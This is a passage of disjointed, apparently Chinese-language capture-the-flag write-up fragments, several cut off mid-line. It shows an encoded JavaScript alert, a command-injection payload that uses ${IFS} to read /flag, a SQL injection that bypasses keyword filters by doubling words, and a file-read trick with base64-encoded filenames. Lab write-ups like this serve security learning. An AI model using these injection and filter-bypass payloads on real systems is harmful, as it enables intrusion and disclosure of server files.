alert(String.fromCharCode(24685,21916,33,113,115,110,99,116,102,123,50,97,51,56,54,54,54,54,45,53,51,57,49,45,52,54,102,99,45,98,54,57,100,45,99,97,101,50,57,49...

查看根目录下flag文件的内容?ip=0.0.0.0;cat${IFS}/flag

得到flag：qsnctf{1167716c-54f0-47da-baed-49e3b08dfaeb}

查位(关键命令采用双写进行绕过）1' ununionion seselectlect 1,2,3#

a2V5cy50eHQ=这一串直接拿去base64解码，得到keys.txt。猜测这两个参数的意义可能是：line读取文件第几行，filename为被读取文件的base64编码后的字符。这样我们可以直接读取index.php的源代码了。...

flag{afd5e1f01c2fa69376b4da&a...